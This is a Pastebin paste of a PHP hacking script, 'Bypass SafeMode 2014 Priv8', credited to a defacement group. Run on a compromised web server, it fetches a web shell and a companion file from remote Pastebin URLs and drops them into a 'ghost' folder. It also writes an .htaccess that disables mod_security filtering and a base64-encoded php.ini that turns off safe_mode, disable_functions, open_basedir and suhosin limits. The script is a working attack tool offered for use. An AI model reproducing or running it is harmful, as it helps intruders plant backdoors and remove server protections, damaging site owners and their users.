iljimae

Bypass SafeMode 2014 Priv8

Dec 12th, 2014
246
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.72 KB | None | 0 0
  1. <link href='http://fonts.googleapis.com/css?family=Orbitron:700' rel='stylesheet' type='text/css'>
  2. <style type="text/css">
  3. body {
  4. background:
  5. url("http://i.imgur.com/hg21xZ9.png") repeat ,
  6. url("http://images3.alphacoders.com/142/142619.jpg") no-repeat center top,top left,top right;
  7. background-color: green;
  8. </style>
  9. <font face='Orbitron'>
  10.  
  11. <?
  12. error_reporting(0);
  13. echo "<form method='POST'>
  14. <title>Bypass SafeMode 2014 Priv8</title>
  15. <center><pre><font color='green' face='Orbitron' size='6' face='Tahoma'>Bypass SafeMode 2014 Priv8</pre></font></center>
  16. <center><font color='red' size='2' face='shell'>Cwd</font><input type='text' size='40' name='zero' value=".dirname(__FILE__)." <font color='green' size='8' face='Tahoma'></font></center>
  17. <center><font color='red' size='2' face='shell'>Shell</font><input type='text' size='40' name='shell' value='http://pastebin.com/raw.php?i=2gmt5XFH' <font color='green' size='8' face='Tahoma'></font></center>
  18. <center><font color='red' size='2' face='shell'>ini.php</font><input type='text' size='40' name='rim' value='http://pastebin.com/raw.php?i=sEbXwVvt' <font color='green' size='8' face='Tahoma'></font></center>
  19. <p><center><input type='submit' value='Bypass SafeMode' name='start' <font color=red' face='Tahoma, Geneva, sans-serif' style='font-size: 12pt'><br></font></center></p>";
  20. echo "<p><center><textarea rows='12' cols='60' style='font-family: impact size: 2pt ; color: green; border: 1px dotted red'>Results Will Appear Here ^_^ \n";
  21. if($_POST['start']) {
  22. $zero = $_POST['zero'];
  23. $file = $_POST['shell'];
  24. $mauritania = $_POST['rim'];
  25. $htaccess = "<IfModule mod_security.c>
  26. SecFilterEngine Off
  27. SecFilterScanPOST Off
  28. SecFilterCheckURLEncoding Off
  29. SecFilterCheckCookieFormat Off
  30. SecFilterCheckUnicodeEncoding Off
  31. SecFilterNormalizeCookies Off
  32. </IfModule>
  33. <Limit GET POST>
  34. order deny,allow
  35. deny from all
  36. allow from all
  37. </Limit>
  38. <Limit PUT DELETE>
  39. order deny,allow
  40. deny from all
  41. </Limit>
  42. SetEnv PHPRC $zero/ghost/php.ini";
  43.  
  44. $phpini = "c2FmZV9tb2RlID0gT0ZGDQpTYWZlX21vZGVfZ2lkID0gT0ZGDQpkaXNhYmxlX2Z1bmN0aW9ucyA9IE5PTkUNCmRpc2FibGVfY2xhc3NlcyA9IE5PTkUNCm9wZW5fYmFzZWRpciA9IE9GRg0Kc3Vob3Npbi5leGVjdXRvci5mdW5jLmJsYWNrbGlzdCA9IE5PTkU=";
  45. $dir = "ghost";
  46.         if(file_exists($dir)) {
  47.             echo "[+] ghost Folder Already Exist are you drunk :o xD !\n";
  48.         } else {
  49.             @mkdir($dir); {
  50.                 echo "[+] ghost Folder Has Been Created Nygga :3 !\n";
  51.         } }
  52.     # Generate Sh3LL
  53.     $fopen = fopen("ghost/priv8.php5",'w');
  54.     $shell = @file_get_contents($file);
  55.     $swrite = fwrite($fopen ,$shell);
  56.     if($swrite){
  57.         echo "Shell Has Been Downloaded : $zero/ghost/priv8.php5 \n";
  58.     } else {
  59.         echo "Can't Download Shell :( do it manually :D \n";
  60.     }
  61.     fclose($fopen);
  62.     # Generate Htaccess
  63.     $kolsv = fopen("ghost/.htaccess", "w");
  64.     $hwrite = fwrite($kolsv, $htaccess);
  65.     if($hwrite){
  66.         echo ".htaccess Generated Successfully \!/\n";
  67.     } else {
  68.         echo "Can't Generate Htaccess\n";
  69.     }
  70.     fclose($kolsv);
  71.     # Generate ini.php
  72.     $xopen = fopen("ghost/ini.php",'w');
  73.     $rim = @file_get_contents($mauritania);
  74.     $zzz = fwrite($xopen ,$rim);
  75.     if($zzz){
  76.         echo "ini.php Has Been Downloaded \!/\n";
  77.     } else {
  78.         echo "Can't Download ini.php :( do it manually :D \n";
  79.     }
  80.     fclose($xopen);
  81.    
  82.     $ini = fopen("ghost/php.ini" ,"w");
  83.     $php = fwrite($ini, base64_decode($phpini));
  84.         if($php){
  85.             echo "PHP.INI Generated Successfully \!/";
  86.         } else {
  87.             echo "[-] Can't Generate PHP.INI";
  88.         }
  89. }
  90. echo "</textarea></center></p><pre></pre>";
  91. echo '<center><font color="#ee5500" size="3pt">Coded By Mauritania Attacker</font><br><font color="#ff8f00" size="1pt">GreetZ : AnonGhost - Teamp0ison - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG</font></center>';
  92.  
  93. ?>
Add Comment
Please, Sign In to add comment